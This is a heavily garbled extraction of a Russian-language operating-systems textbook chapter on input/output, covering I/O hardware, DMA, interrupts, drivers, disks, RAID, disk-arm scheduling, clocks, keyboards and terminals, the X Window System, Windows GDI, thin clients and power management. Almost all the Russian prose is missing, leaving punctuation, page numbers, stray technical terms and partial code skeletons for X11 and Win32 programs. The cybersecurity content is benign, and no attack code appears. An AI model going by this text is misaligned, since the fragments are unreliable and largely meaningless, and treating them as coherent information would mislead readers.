, . , . 5.5, , . ,
(316), , ,
, ( ,
), .
. 5.5. : ;
, ,
,
, , . . 5.5, , ,
, ,
,
.
,
, . .
. ,
-
.
, , . ,
- , ,
.
, , .
,
, .
.
5.2. -
395
, x86,
. ,
, , . ,
- . , .
,
-,
.
,
, .
5.2.
-
- .
-,
- .
5.2.1. ,
-
- :
.
,
- . , , ,
, DVD - USB
.
sort <input >output
, ,
, ,
. ,
, , .
.
. UNIX
, , . ,
- USB () /usr/ast/
396
5.
- . -
. , ,
, . ,
, , . , , , ,
, .
,
.
, ,
.
, () ( ).
-
:
- , .
, -
: read
, .
,
.
-,
-.
- .
, ,
. , ,
, , -
. ( , ) ,
,
, .
-.
. -, , .
, . ,
, ,
.
. ,
,
5.2. -
397
. ( )
, .
, ,
.
5.2.2. -
-.
-.
(-, , -, DMA).
-, .
-.
-,
. ,
, :
ABCDEFGH. .
. 5.6, , , .
. 5.6.
, , .
,
, ,
. , ,
.
, , p, , ( ,
,
). . ,
398
5.
, . , ,
-, . .
, ,
- , . . 5.6,
, B
, .
,
.
, , .
.
, ,
.
, . , , . 5.6, . ,
. .
, , 5.1. . ,
. -, , ,
. .
5.1.
copy_from_user(buffer, p, count);
for (i = 0; i < count; i++) {
while (*printer_status_reg != READY);
*printer_data_register = p[i];
}
return_to_user();
/*
/*
/*
/*
p */
*/
*/
*/
- , , -. (
),
.
, .
, ,
. -.
5.2.3. -,
, . , ,
100 , 10 . ,
5.2. -
399
10 , .
, 10 .
- .
, , ,
,
. - . , ,
, . ,
, . 5.7, .
. 5.7. -,
: , ;
, .
. . . 5.7, . ,
. ,
,
.
5.2.4. - DMA
-, , , . ,
.
DMA . DMA- -,
,
DMA. . 5.8.
DMA
.
400
5.
. 5.8. DMA: , ;
. DMA ,
. DMA-
DMA, , , -, , -. DMA
.
5.3.
-
- (. 5.9).
.
, , , -
.
. 5.9. -
5.3.1.
, -,
- ,
.
,
. , -, -
. , , ,
down , wait , receive , - .
5.3. -
401
, .
. up .
signal .
.
.
, ,
, .
, . , up ,
IRET .
.
,
. ,
,
, , .
, .
1. ( PSW), , .
2. .
TLB, MMU .
3. .
4. . .
5. , (, - ), .
6. ,
, .
7. .
- , , .
8. MMU . TLB.
9. , PSW.
10. .
, .
,
, MMU (, R M).
TLB ,
.
402
5.
5.3.2.
. , ,
, ,
, . . ,
, ,
. , , , ,
, ,
, .
, .
- , .
.
. ,
.
. , SCSI-
SCSI- ,
, Blu-ray- SCSI-.
, , , . ,
. .
. , USB , . USB-
, , , , , -,
, , ,
, , - .
USB, .
, USB- , TCP/IP- . , , ,
USB- ( -), ,
, USB-.
,
USB, . ,
API-, ,
. . , - , .
, , , , ,
. -
, ,
5.3. -
403
.
,
,
. ,
. , , MINIX 3 (www.minix3.org).
, .
, (), , , , .
, ,
.
. 5.10,
.
. 5.10. .
. ,
, ,
404
5.
, ,
, .
, ,
, .
,
.
, , ( )
( ).
, . UNIX,
, -
. .
- .
,
, . , MS-DOS, ,
.
-.
.
, , . .
, .
.
.
. , . ,
.
, ,
, .
, .
, .
, , ,
.
.
, .
.
,
. , , . -
5.3. -
405
,
.
, . ( )
.
, .
, - , ,
. .
,
.
, .
. .
.
, (, )
, . , , .
- ,
. ,
.
.
- . , -
. . ,
. ,
. ,
, .
, ,
. , - , ,
.
, - ,
. ,
(, ),
.
, .
. ,
,
.
MMU, , DMA, . .
406
5.
5.3.3. -,
-
, . ,
, ( ), ,
, -
- .
, . 5.2,
, .
, ,
-
. .
5.2. ,
- .
, , . . -,
.
.
. . 5.11, ,
.
, , ,
. , ,
, . ,
.
. 5.11, ,
. , .
5.3. -
407
. 5.11. : ;
, , .
, , .
. ,
, , .
, ,
.
.
, , ,
.
. (, . .)
.
-.
. , UNIX , /dev/disk0,
i- , i-
, .
i- ,
, . ,
,
.
.
, ? UNIX,
Windows
,
-.
.
408
5.
, . ,
, , ,
ADSL-, .
read
.
. . - ,
. . 5.12, .
. 5.12. ; ;
;
,
. -
.
. 5.12, . n .
, .
. ,
. ,
? , ,
.
(. 5.12, ).
5.3. -
409
, , , .
.
. , ,
? , . . . 5.12, ,
, .
,
( , ). ,
. , :
, .
.
. ,
, ,
, . (,
) ; ,
,
. ,
, .
. , ,
,
. 5.12, . , n ,
write. . ,
,
.
-,
- , .
,
?
, .
, . 5.12, ( ), .
, -. .
, . ,
. , , , . 5.13.
.
,
( 1).
.
410
5.
, ( 2). ,
, , ,
. ,
, DMA -.
.
.
. 5.13.
, ( 3). ,
,
.
( 4). ( 5).
. , . ,
, .
- ,
. .
, .
- .
, - ,
(, , . .)
5.3. -
411
(, . .)1.
(, , )
. . : .
-,
.
. , ,
.
. , ,
. , .
, , ,
.
. , ,
. , ,
. .
, , .
.
open. ,
open .
close.
. , , . .
,
.
, , ( )
.
. . .
412
5.
,
.
, ,
. ,
,
, . (, )
, (, Ethernet-)
.
.
5.3.4. -,
- , , ,
, ,
. , , -, . C
count = write(fd, buffer, nbytes);
write, ,
, . .
,
-.
, , . ,
. C
printf, , , , , ASCII-,
, , write.
printf
printf("
%3d
%6d\n", i, i*i);
14- ,
i 3- , 7- , i2
, , .
scanf, ,
, , printf. - , -,
.
5.3. -
413
-, ,
.
. , (spooling), - .
, , .
, ,
, .
.
, (daemon),
, .
.
,
. ,
.
,
-. ,
. - , .
. ,
, USENET News ( Google Groups).
,
. ,
. , ,
.
1.
. 5.14 - . ,
, , ,
, , , .
. 5.14 . , , , , . , ,
, , .
,
, . ,
.
FIDONet ( , ),
, (,
). . .
414
5.
. 5.14. -
, .
, , ,
.
- .
5.4.
-.
, , . , .
5.4.1.
.
.
- ,
( , . .).
, , . ,
(DVD Blu-ray). ,
.
, .
, , . -
5.4.
415
, 8
32 .
1 16.
,
.
. ,
(Integrated Drive Electronics (IDE))
SATA (Serial ATA), , .
, .
, ,
.
. , .
,
,
. ( ,
.) , ,
, ,
.
.
.
. 5.3 IBM PC , ,
, . , .
,
16 000 , 800 000 .
.
5.3. 360- IBM PC
Western Digital WD 3000 HLFS (Velociraptor)
IBM
360
WD 3000 HLFS
40
36 481
255
63 ( )
720
416
5.
5.3 ()
IBM
360
WD 3000 HLFS
512
512
360
300
( )
0,7
()
77
4,2
200
22
1,4
,
, , .
. ,
, . . 5.15,
. 32 ,
16. , WD 3000 HLFS, 16 , 4 % .
. 5.15. : ;
, , . ,
x , y z .
5.4.
417
(x, y, z) , .
. 5.15, . 192 ,
.
PC (65 535, 16
63), ,
, IBM PC.
16-, 4- 6- ,
1, 0.
512 31,5 .
,
(logical block addressing, LBA), , , .
RAID
, 18 ,
. 70-
,
-, 50 100 . . (, ) 510
( , 0,8
100 ), -
. ,
. -
?
! ,
.
-.
1988 (Patterson)
,
, , .
, RAID. RAID
Redundant Array of Inexpensive Disks
, I Independent , Inexpensive ( ,
?). - ( RISC
CISC, ), SLED
(Single Large Expensive Disk ).
RAID , ,
, , RAID, . ,
RAID SLED,
418
5.
. RAID-
RAID SCSI-
SCSI-, SCSI- 15
.
RAID- SATA.
- .
, , RAID-
, .
RAID- 0 6.
, .
, -
, RAID-.
RAID- 0 . 5.16, . , RAID- ,
k 0 k 1 0, k 2k 1
1 . . k = 1 , k = 2 . . . 5.16, , RAID-,
, RAID- 0,
.
. , ,
, , RAID ,
, . , -, .
RAID- 0 ,
, . ,
, ,
, .
, .
.
RAID 0 ,
. , ,
.
, , SLED.
RAID- , 20 000 , -
5000 . SLED-
, 20 000 , .
, RAID.
5.4.
. 5.16. RAID- 0 6;
419
420
5.
, RAID- 1 (. 5.16, ),
RAID-. ,
. .
, . ,
,
.
: ,
.
.
RAID- 0 1, , , RAID- 2 .
4- ,
7- ,
1, 2 4 . ,
(. 5.16, ) .
7- , .
CM-2 Thinking Machines.
32- , 6 ,
38- , . 39- 39 .
, , ,
32 , . ,
39- , .
, . , ( 32 ,
, 6 19 %).
,
.
RAID- 3 RAID 2.
. 5.16, . ,
. RAID- 2,
,
.
,
, . .
, . ,
. ,
, 1,
. RAID- 2 3
5.4.
421
, - ,
, , .
RAID- 4 5 , . RAID-
4 (. 5.16, ) RAID- 0
, . ,
k ,
, k .
.
, .
, , ,
.
.
.
,
RAID- 5 (. 5.16, ).
.
RAID- 6 5,
. ,
. -
,
. ( , ,
RAID- 5 ).
5.4.2.
, 3,5 ( 2,5
), ,
. .
.
, .
, . . 5.17.
. 5.17.
, .
.
422
5.
.
512 . ECC (Error Correction Code)
,
1. ,
, ECC, . 16-
ECC. ,
, .
, .
, (cylinder skew)2,
. , .
. 5.15, . , 18 , 0 .
16 , 17-
.
0 - ,
.
, . 5.18.
. , , 10 000 /, 6 .
300 , 20 .
800 , 40 ,
40 , , . 5.18. ,
, (head skew),
.
, ECC,
.
20 % , . ,
,
( , ).
- , , , ,
. , , , 200 109 . 200- .
1
.
. . .
. . .
5.4.
423
. 5.18.
, , 170 109 .
, , , , 170, 158 , 1 230 (1 073 741 824) , 109 (1 000 000 000) .
, 158 .
, 1 /
1 000 000 000 /, 109 ( 1000 , 1024 ). ,
, , 210, 220, 230 240 .
103, 106, 109 1012
, , , 210, 220, 230
240 , , .
. ,
, , ,
( , 280).
.
10 000 / 300 512 ,
153 600 , , 6
25 600 000 /, 24,4 /. , SCSI, 80 160 /.
424
5.
. , , ,
, .
, .
, . , ,
, .
. . 5.19,
( ). . 5.19,
(single interleaving),
,
.
. 5.19. : ; ;
,
(double interleaving) (. 5.19, ). , ,
,
DMA, .
, .
.
. .
.
.
x86- , , 0
(master boot record (MBR)),
, . MBR ,
, , IBM
PC 1983 10
PC XT. . MBR
32 , ,
512- , , 2 .
5.4.
425
5.4.3.
,
. ,
. :
(
);
(
);
.
1
,
. Windows XP NTFS : C:,
- D:, E: Z:. . .
426
5.
,
.
(First-Come, First-Served
(FCFS)),
. .
,
, .
, ,
.
, . , , , 40 . 11.
11,
, 1, 36, 16, 34, 9 12. ,
. . 5.20.
. 5.20. (SSF)
( 11),
, .
FCFS 1, 36 . .
10, 35, 20, 18, 25 3
, 111 .
, .
, . 5.20, ,
,
12, 9, 16, 1, 34 36.
1, 3, 7, 15, 33 2 , 61 .
(Shortest Seek First (SSF))
FCFS .
5.4.
427
, SSF . ,
, . 5.20,
. , 16 8,
1.
13, , 1.
, ,
. , ,
.
.
. .
() . ,
, ,
, , FCFS SSF.
,
.
,
, . ,
,
( , elevator algorithm), : .
.
,
, . , , ,
. , , .
, .
. 5.21 ,
, . 5.20, .
: 12, 16, 34, 36, 9 1, 1, 4, 18,
2, 27 8 , 60 .
, SSF, .
,
.
,
(Teory, 1972),
. ,
, ,
, . , ,
.
428
5.
. 5.21.
, .
. ,
, ,
. ,
.
(
, ).
, ,
.
, ,
, .
, .
,
.
, - . ,
, . 5.3, - 4 . .
, , .
, .
, . , , ,
, ,
- .
, , ,
, ,
(, , ).
5.4.
429
,
. , (
, ).
, , .
, , ,
.
, , , , ,
, .
,
, . ,
, , ,
40- 200-, 39- . ,
,
.
, , .
5.4.4.
. 5,25-
300 . 300 512 , 5000 /, ,
, ECC . 5000 /
. , .
. .
,
.
, , ,
ECC-.
.
:
.
,
.
.
. . 5.22,
, 30 . , 7
430
5.
.
7 (. 5.22, ).
(. 5.22, ). ,
. (
) ,
. ,
. 5.22, , ( 23 ),
,
.
. 5.22. : ; ;
. ,
ECC, .
, , ,
.
,
, .
,
. , . 5.22, ,
, .
, . 5.22, , ,
.
, :
.
,
. ,
,
.
, .
, . 5.22, ,
7- 29- .
,
5.4.
431
. ,
. , (, , ).
: . , ,
,
. ,
,
.
, , ,
,
. ,
.
.
, . .
. ,
. ,
.
, , 19801990- , ,
,
recalibrate,
. , ,
1.
, , , , ,
, . , recalibrate ,
.
,
, , . ,
, .
,
.
,
. , : , .
1
, ,
. . .
432
5.
( )
Blu-ray-, ,
.
, . , ,
AV- (Audio Visual disks), .
,
(Jeroen Domburg), . , (!) ARM-
Linux. , ,
.
, , .
, ,
.
5.4.5.
, .
. .
RAID-. ,
. , .
,
, .
. ,
. , :
, . (stable storage)
(Lampson and Sturgis, 1979).
, . .
.
, ( ) ,
ECC. ,
, , , 16- ECC, 512- ,
24096 2144
ECC1. , , ECC
1
, ( ) 16 2128 , , ECC
, 9 , 8, . . .
5.4.
433
, ,
ECC. , .
, , 16-
ECC, 2144, , ,
.
,
. ,
,
() (, ) , .
,
. ,
ECC.
,
, .
,
,
. .
, . .
, .
, :
1. . 1, , , .
, n ,
. n
, . 1
, 2,
, , .
,
.
2. .
1. ECC,
n . ECC, 2. ,
, , ,
.
3. .
, . , .
434
5.
ECC,
. , , 1 2.
, ,
. ? , .
. 5.23 .
. 5.23.
. 5.23,
. ,
, .
. 5.23, 1,
. 1 2.
, .
. 5.23, 1,
2. : 1 2. .
. 5.23, . 5.23, :
.
.
, . 5.23, , , , ,
, .
. ,
, . ,
,
.
5.5.
435
-, .
, ,
. , , 1.
( ), , , .
,
.
,
. , , 1.
,
, , , . .
, : -
1 , .
. 2.
,
. , . ,
, .
, . ,
.
. , . , .
,
.
5.5.
( )
. ,
.
, , , ,
, . , 1
, , ,
, . . .
436
5.
: ,
.
5.5.1.
,
, . 110 220
50 60 .
, .
(. 5.24):
, . ,
, ,
.
,
.
, . , .
, .
. 5.24.
.
.
, , .
,
.
(clock ticks).
, .
500 2 . -
5.5.
437
32- 2 8,6 .
,
(, ,
, ).
, , ,
,
. , ,
.
. ,
,
. , 12
UTC (Universal Coordinated Time) (
Greenwich Mean Time) 1 1970 ,
UNIX, - .
Windows 1 1980 .
. .
5.5.2.
. , , .
,
:
1. .
2. .
3. .
4. alarm, .
5.
.
6. , .
(
) . ,
,
. , , . 60 , 32-
. , 1 1970 32 .
. 64- , ,
438
5.
. ,
, . 232 136 , XXII .
,
, - .
. ,
, , . . 5.25.
. 5.25.
.
.
. ,
.
.
, , .
,
. ,
.
, , , ,
.
. ,
, .
, ,
, -
5.5.
439
,
. .
, .
, , - .
, ,
,
.
, , ,
.
,
. ,
, .
, ,
, ,
.
, . ,
, .
, ,
(. 5.26). ,
. 4203, 4207, 4213, 4215 4216 .
. 5.26.
. 5.26 3 . .
, , ,
.
, ,
.
, ,
, ,
.
,
.
440
5.
.
, (
) , . ,
.
, .
, , ,
.
, , .
, , , ,
. , ,
,
, .
. ,
,
.
. ,
, , . ,
, , , ,
( ),
. .
.
5.5.3.
,
. , , .
,
.
, , .
, ,
,
. (Aron and Druschel, 1999).
.
- , , :
. , , .
, TLB .
5.5.
441
. , ,
.
.
, 70-
. , - :
(PSW) PSW. , , TLB . , ,
. ,
, , , .
. ,
- , ,
, . ,
(, ), ,
.
, .
.
, - . :
;
TLB;
;
-;
.
, , , -, -, ,
, ,
, UNIX.
2 18 ,
. , 10 ,
.
10 , ,
35 % .
, ,
TLB , . ,
442
5.
, ,
1 . 1000 , , -,
.
5.6. :
, ,
( ).
, .
, ,
.
. ,
( - ).
5.6.1.
(
), .
, , (
USB). , , .
, ,
-, .
.
,
(
). .
. , ,
, .
, .
.
, -, ,
- ( ASCII).
128 ,
. 0, , 1,
. ( ) . ,
5.6. : , ,
443
.
.
, A, - (30) -. , , ,
, , CTRL+A, ALT+A,
CTRL+ALT+A - . ,
, (, SHIFT),
. ,
: SHIFT, A, A, SHIFT A
. : SHIFT, A,
SHIFT, A A .
, . ,
, ,
, . ,
.
.
. ASCII-. (
- , 1.)
, emacs,
. , dste date, ,
(backspace) ate, ,
11 ASCII-:
dsteate CR
. , , .
:
, . -, -.
. - POSIX .
,
. POSIX-
,
.
1
.
.
- ,
. . .
444
5.
( ), , , ,
, .
, , ,
. , , .
, .
,
( , Windows)
, (, ) . , . ,
,
, , .
,
, .
(echoing)1.
, , -
( , ). ,
, , .
, 80 80- ( ).
. 80 ,
80- .
.
, ,
, , .
.
,
, , .
. ,
, , .
UNIX ENTER
, Windows ,
.
( UNIX),
( ENTER)
. 1
. . .
5.6. : , ,
445
( Windows),
. ,
, .
, ,
, ,
/
,
, .
. . 5.4 ,
POSIX. , , , ; ,
, .
5.4. ,
POSIX
CTRL+H
ERASE
CTRL+U
KILL
CTRL+V
LNEXT
CTRL+S
STOP
CTRL+Q
START
DEL
INTR
(SIGINT)
CTRL+\
QUIT
(SIGQUIT)
CTRL+D
EOF
CTRL+M
CR
()
CTRL+J
NL
()
446
5.
. , KILL
. ERASE,
. ,
.
ERASE KILL .
- (escape character) LNEXT1. UNIX
CTRL+V. , UNIX- KILL @,
linda@cs.washington.edu. , , KILL @,
@ .
CTRL+V @. CTRL+V
CTRL+V. CTRL+V, , ,
. LNEXT
.
, . UNIX STOP
(CTRL+S) START (CTRL+Q) . ,
.
, .
, . .
-
. INTR (DEL)
QUIT (CTRL+\). UNIX DEL SIGINT , . DEL
, UNIX . , , DEL
, .
, , ,
.
CTRL+\ DEL,
, SIGQUIT, ,
.
, . INTR CTRL+C, DEL, DEL
.
, EOF (CTRL+D), UNIX
, ,
1
, LNEXT . . .
5.6. : , ,
447
. CTRL+D ,
,
.
, , , , .
,
.
, , . -
, Y, -
, X.
,
. ,
,
.
, .
,
. 0,1 (
). .
,
. , .
, ,
, , , ,
Bluetooth.
: x, y .
x .
y .
.
. 3 . 40 ,
.
, ,
. ,
.
. ( ) ( ),
448
5.
. ,
.
5.6.2.
.
, .
,
.
,
, .
, .
, .
, .
, , , . . -.
ASCII-
25 80 ,
-. , .
, Berkeley UNIX,
, termcap.
, (, ).
, ,
-, , .
, ,
termcap. UNIX- - ,
.
-, ANSI.
. 5.5.
5.5. - ANSI, . ESC ASCII- (0x1B),
n, m s
ESC [ n A
ESC [ n B
ESC [ n C
5.6. : , ,
449
ESC [ n D
ESC [ m; n H
(m, n)
ESC [ s J
(0 , 1 , 2 )
ESC [ s K
(0 , 1 , 2 )
ESC [ n L
ESC [ n M
ESC [ n P
ESC [ n @
ESC [ n m
n (0 , 4 , 5 , 7 )
ESC M
, -
. , , 3, 2 4.
-:
ESC [ 3 ; 1 H ESC [ 0 K ESC [ 1 M
( ). ,
, ,
, , . ,
, , . . - .
.
X Window
UNIX-
X Window System ( X), 1980-
(MIT) Athena.
.
,
,
.
. Linux- Gnome KDE
X-.
450
5.
X- , ,
, X-. - ,
( ), ,
. (, ), X-.
X- , ,
.
, X-
, X- , ,
X- ,
, . -
. (
) , , , .
, X- X-
, . 5.27. Gnome KDE - ,
X-, X- (
TCP- , ).
5.6. : , ,
451
, ,
100
. .
X- .
.
. Xlib,
X-. X Window System
,
. ,
, ,
, , Xlib.
X-
Intrinsics.
,
, (widgets).
( ). Motif (. . 5.27) Common Desktop Environment, Solaris
UNIX-. Motif, Xlib.
Gnome KDE , , . 5.27,
. Gnome
GTK+, KDE Qt.
, X-.
.
X- . , .
X-, , .
X-, .
,
, X- .
UNIX, Solaris, BSD, AIX,
Linux . .,
.
. , Windows
GDI , , ,
.
X- Xlib. X-
X-,
,
X-. X- ,
-
452
5.
.
TCP/IP.
:
;
;
, ;
.
, .
, ,
. . ,
, .
Windows, X- .
,
- , ,
, . 32 ,
, 31 . ,
,
. ,
, . Windows,
,
.
Windows, , . ,
.
X- .
, .
. , .
. , , (),
( ), .
Windows.
X- 5.1.
, . X-,
XOpenDisplay. ,
win.
.
, .
5.6. : , ,
453
5.2. X Window
#include <X11/Xlib.h>
#include <X11/Xutil.h>
main(int argc, char *argv[])
{
Display disp;
Window win;
GC gc;
*/
XEvent event;
int running = 1;
/* */
/* */
/*
/* */
/* X- */
/*
*/
XSetStandardProperties(disp, ...);
/* */
gc = XCreateGC(disp, win, 0, 0);
/*
*/
XSelectInput(disp, win, ButtonPressMask | KeyPressMask | ExposureMask);
XMapRaised(disp, win);
/* ;
Expose */
while (running) {
XNextEvent(disp, &event);
/* */
switch (event.type) {
case Expose: ...; break;
/* */
case ButtonPress: ...; break;
/* */
case Keypress: ...; break;
/* */
}
}
XFreeGC(disp, gc);
XDestroyWindow(disp, win);
XCloseDisplay(disp);
/*
*/
/*
*/
/* */
XCreateGC , .
. XSelectInput,
X-, .
,
.
. , XMapRaised
, .
.
Windows. , .
- ,
454
5.
running 0 . , .
,
. ,
, .
X- xterm.
VT102, -. , vi emacs,
, termcap,
- .
(Graphical User Interface (GUI)). GUI .
GUI (Douglas Engelbart) . Xerox PARC. Apple
(Steve Jobs) PARC, GUI Xerox
: ! . GUI
, Apple Lisa. - Lisa , , Macintosh,
.
Microsoft Macintosh,
Microsoft Office,
Apple ,
. (Microsoft Office, MSDOS, MS-DOS,
Office.) Macintosh Apple
- (Jean-Louis Gassee) ,
. Microsoft .
Windows. Windows , Apple Microsoft , ,
, Windows Macintosh .
Apple,
Macintosh, Apple, , Windows .
, GUI
, WIMP.
: Windows, Icons, Menus Pointing device.
, . , - .
, .
, , ,
.
5.6. : , ,
455
GUI
, UNIX,
, Windows. GUI -
,
, .
, , , . 32-
64- 4 ,
.
. ( )
1280 960, 1600 1200 1920 1080, 2560 1600 3840 2160.
4:3,
NTSC PAL
,
. .
1920 1800 ( full HD) , 24
, 6,2
, 256
.
75 ,
445 /.
GUI- . Windows GUI 1500 (, Petzold,
2013; Simon, 1997; Rector and Newcomer, 1997). ,
. Win32 API,
32- Windows.
GUI- , .
, .
( ) .
, , c , . . 5.28. ,
Windows y , ,
.
, ,
, (
). , , , ,
Windows-. ,
,
.
456
5.
Windows- . ,
, Windows , .
, ,
.
. Windows
, . UNIX- ,
. X- .
, , 5.2.
Windows.
, .
windows.h, ,
, , ,
Windows-.
5.6. : , ,
457
5.3. Windows-
#include <windows.h>
int WINAPI WinMain(HINSTANCE h, HINSTANCE hprev, char *szCmd, int iCmdShow)
{
WNDCLASS wndclass;
/* */
MSG msg;
/* */
HWND hwnd;
/* */
/* wndclass */
wndclass.lpfnWndProc = WndProc;
/* ,
, */
wndclass.lpszClassName = " ";
/* */
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); /* */
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
/*
*/
RegisterClass(&wndclass);
/* Windows wndclass */
hwnd = CreateWindow ( ... )
/* */
ShowWindow(hwnd, iCmdShow);
/* */
UpdateWindow(hwnd);
/* */
while (GetMessage(&msg, NULL, 0, 0)) { /*
*/
TranslateMessage(&msg);
/* */
DispatchMessage(&msg);
/* msg
*/
}
return(msg.wParam);
}
long CALLBACK WndProc(HWND hwnd, UINT message, UINT wParam, long lParam)
{
/* . */
switch (message) {
case WM_CREATE: ... ; return ... ;
case WM_PAINT: ... ; return ... ;
/* */
/*
*/
/* */
/* */
, .
WINAPI , .
, h, . Win32
- , (,
, ), ,
, , .
,
h. -
458
5.
. , szCmd,
, , , ,
. , iCmdShow, ,
,
( ).
Microsoft
. ,
. (J. Lukasiewicz) .
, Microsoft,
(Charles Simonyi).
. : c (
character), w ( word, 16-
), i (32- integer), l ( long,
32- ), s ( string), sz (, zero), p ( pointer), fn ( function) h ( handle). , , szCmd ,
, iCmdShow . ,
,
Windows. UNIX .
,
. 5.2 wndclass.
WNDCLASS 10 ,
.
. lpfnWndProc,
( 32-) ,
, .
,
.
wndclass RegisterClass
Windows. , Windows , ,
. , CreateWindow,
.
.
,
, ,
Windows, WndProc
. ? , ,
, .
WndProc, , .
CALLBACK, WINAPI, .
5.6. : , ,
459
. .
,
.
WM_CREATE WM_DESTROY 1. , ,
, .
, WM_PAINT, . ,
. , ,
Windows , , ,
, . , , , , . .
. , Windows
, WM_PAINT. ,
, ,
.
Windows - . , . ,
. -, ,
Windows WndProc.
. Windows ,
,
, .
.
.
, DefWindowProc WndProc, .
Windows , ,
.
. ,
, .
, UNIX.
, ,
GDI (Graphics Device
Interface). ,
.
, (device context),
,
1
, .
, , ,
. . .
460
5.
, , , . .
GDI ,
.
.
:
hdc = GetDC(hwnd);
TextOut(hdc, x, y, psText, iLength);
ReleaseDC(hwnd, hdc);
hdc.
. (x, y) ,
. , ,
. , hdc
UNIX. , ReleaseDC
( hdc, ).
, , Windows
.
, hdc
,
. .
.
GetWindowDC,
.
-. Windows ,
.
GDI . . GDI,
, .
GDI , ,
( , ), GDI-, ,
, . , GDI-, .
:
, ,
, .
, .
Rectangle(hdc, xleft, ytop, xright, ybottom);
5.6. : , ,
461
, . 5.29. ,
, . GDI- -
.
. 5.29. , Rectangle.
GDI- .
,
(
). . GDI- ,
- . Windows
(metafile).
Windows .wmf.
Windows- ( ) Windows.
. Windows
.wmf-. .
, ,
. , .
. ,
.
(bitmap). Windows .
.
-
. .
462
5.
BitBlt. :
BitBlt(dsthdc, dx, dy, wid, ht, srchdc, sx, sy, rasterop);
( ).
. .
. , , (0, 0) .
.
BitBlt(hdc2, 1, 2, 5, 7, hdc1, 2, 2, SRCCOPY);
. 5.30. , 5 7 A, .
. 5.30. BitBlt:
;
BitBlt , .
. ,
, . , , .
, . , 8 12, 640 480 .
1200 , 10 200 13 200 ,
(8 ) 8/1200 , 0,17 .
- .
Windows , , (Device Independent Bitmap (DIB)). ,
, .bmp.
, , -
5.6. : , ,
463
.
.
, Windows 3.1,
BitBlt.
, , ,
, .
. ,
A 10 12 .
4 120 ,
. .
TrueType,
, . TrueType .
(0, 0).
.
. ,
TrueType , ,
.
,
(,
).
.
. 5.31.
. 5.31.
,
, . ,
464
5.
,
, , , ,
. , .
, T , ,
, - .
.
. ( ) , . , , ,
, . , ,
, .
.
: .
. .
.
, , . 1965
. . (E. A. Johnson)
,
.
, .
.
, , ,
, .
, ITO (Indium Tin Oxide )
. , ,
, ITO. ,
. , . ITO .
.
, ,
ITO. ITO
. ,
,
.
5.6. : , ,
465
.
, , ,
, . ,
.
. ,
(x, y).
, , : , , ,
.
, . , ,
. ,
. ,
(, ) , ,
, , ,
. , ,
, 10 .
,
, .
. (, , ) , ,
, . , (3, 3) (8, 8).
x = 3 x = 8
y = 3 y = 8. ,
(3, 8) (8, 3),
(3, 3), (8, 3), (8, 8)
(3, 8). ,
, .
. ,
(x, y), .
,
, WIMP-
.
.
, , ,
.
(-) . ,
,
, .
466
5.
5.7.
. ,
ENIAC, ,
, .
, , ,
. ,
.
,
. , ,
, . , ,
.
.
,
.
,
.
, . ,
. .
. , 256 ,
256 , ,
. , 64 ,
, -
, ,
- . .
, , , ,
. , ,
. ,
, .
, Gmail, Hotmail Yahoo,
. , ,
,
5.8.
467
. , ,
, -, ,
.
, , ,
,
.
(dumb terminals),
(thin clients), .
X- , X- , , ,
,
- .
,
. , . Chromebook. Google,
, .
ChromeOS, Linux, - Chrome,
, , .
-
(Web Apps), Chromebook . ,
Linux Chrome, .
5.8.
ENIAC 18 000 140 . .
,
. ,
.
.
200 ( 85 %, 15 % ). 100
, 20 000
. 20
. ,
10 .
10 (
, ) , .
, ,
, ,
468
5.
. ,
, . , ,
, , ,
. , 18
( ), - , .
,
. , ,
.
. , ,
(low-swing)
. , Venkatachalam and Franz, 2005.
. ,
( -),
.
,
. ,
.
5.8.1.
: .
( AAA, AA D) ,
.
( )
. - , - ,
,
. - ,
,
1.
1
, (
)
, .
( , ,
), , ( )
, . . .
5.8.
469
,
, , : , , .
, .
,
, .
,
, .
, ,
. , ,
.
, ,
.
.
,
.
, .
, , ,
, .
, ,
.
.
,
. . ,
, : ?
? ?
? - ?
? ,
,
.
, ,
. (Li et al., 1994) ,
. 5.7. (Lorch and Smith, 1998)
, . 5.7. (Weiser et al.,
1994) , .
, : ,
, .
,
, - , , , , , ,
470
5.
. , , GPS.
, , ,
.
5.6.
(1994), %
(1998), %
68
39
12
18
20
12
0,5
22
5.8.2.
.
, .
,
. , ,
.
, , ,
. ,
. ,
.
, ,
.
.
, . ,
. , , ,
( ,
, ). ,
( )
- .
(Flinn and Satyanarayanan, 2004). , -
5.8.
471
. . 5.32 16 ,
. 2 (. 5.32, ),
. 12
, 3/4 .
. 5.32. : 2 ;
1 ,
1, 2 , 1 . 1 9 ,
. ,
1, ,
(. 5.32, ). 9/16 4/16,
, .
(, , ,
).
.
. , ,
.
. , , ,
, .
, .
Td,
, 5 15 . ,
t. t < Td,
,
. t > Td, .
472
5.
(, ),
.
.
. ,
, . ,
, ,
.
,
.
, ,
,
, .
, .
,
. ,
, ,
.
.
, . ,
, .
-
.
, .
, ,
( ).
, ,
.
, ,
40 ,
. ,
40 x , x/4 .
20 , 20 ,
20 ,
x/2 .
,
x/4 .
5.8.
473
. 5.33. ,
, . 5.33, , .
. 5.33. : ;
, ,
, 100 ,
. ,
.
,
. (Hruby et al., 2013)
,
. , . , ,
,
, .
, .
. ,
,
, .
, .
, .
. ,
, ,
, .
,
( ),
- . , , , .
474
5.
.
-, , -.
.
, .
.
, , .
. ,
, . , , ,
, .
, (, ) , ,
, .
(, )
.
. ,
,
. , ,
, , ,
.
(Kravets and Krishnan, 1998). , ,
. ,
.
.
, ,
, .
.
, ,
. , .
? .
. ? -
, .
5.8.
475
, .
.
, ,
802.11 (WiFi). 802.11 , ,
, (beacon frame).
.
, .
,
.
, . - . ,
.
,
.
.
. , .
, .
,
,
. .
. , ,
,
.
, , . .
, .
, , ,
, , ,
. . , .
.
.
, ,
, .
476
5.
,
, , , , .
, ACPI (Advanced Configuration and Power
Interface
).
, .
(plug and play),
, ,
.
, (,
). . ,
,
.
5.8.2.
,
.
: ,
( ,
, ).
, . , :
, , , .
: , ?
(Flinn and Satyanarayanan, 2004). , ,
. .
.
, .
() ,
, , .
.
,
PowerScope, . ,
-
5.9. -
477
. ,
, , , . PowerScope
. ,
.
. , ,
.
, , . 30 .
- .
,
. ,
. 30 % .
.
. ,
.
,
.
. 35 %.
,
.
,
, .
35 %.
JPEG- -.
JPEG ,
. 9 %.
, , ,
, .
5.9.
-
- .
, .
-. ,
Streamline -,
, ,
, TLB (DeBruijn
et al., 2011). Beltway Buffers, , ,
(DeBruijn and Bos, 2008). Streamline
478
5.
5.10.
479
, .
1000 , .
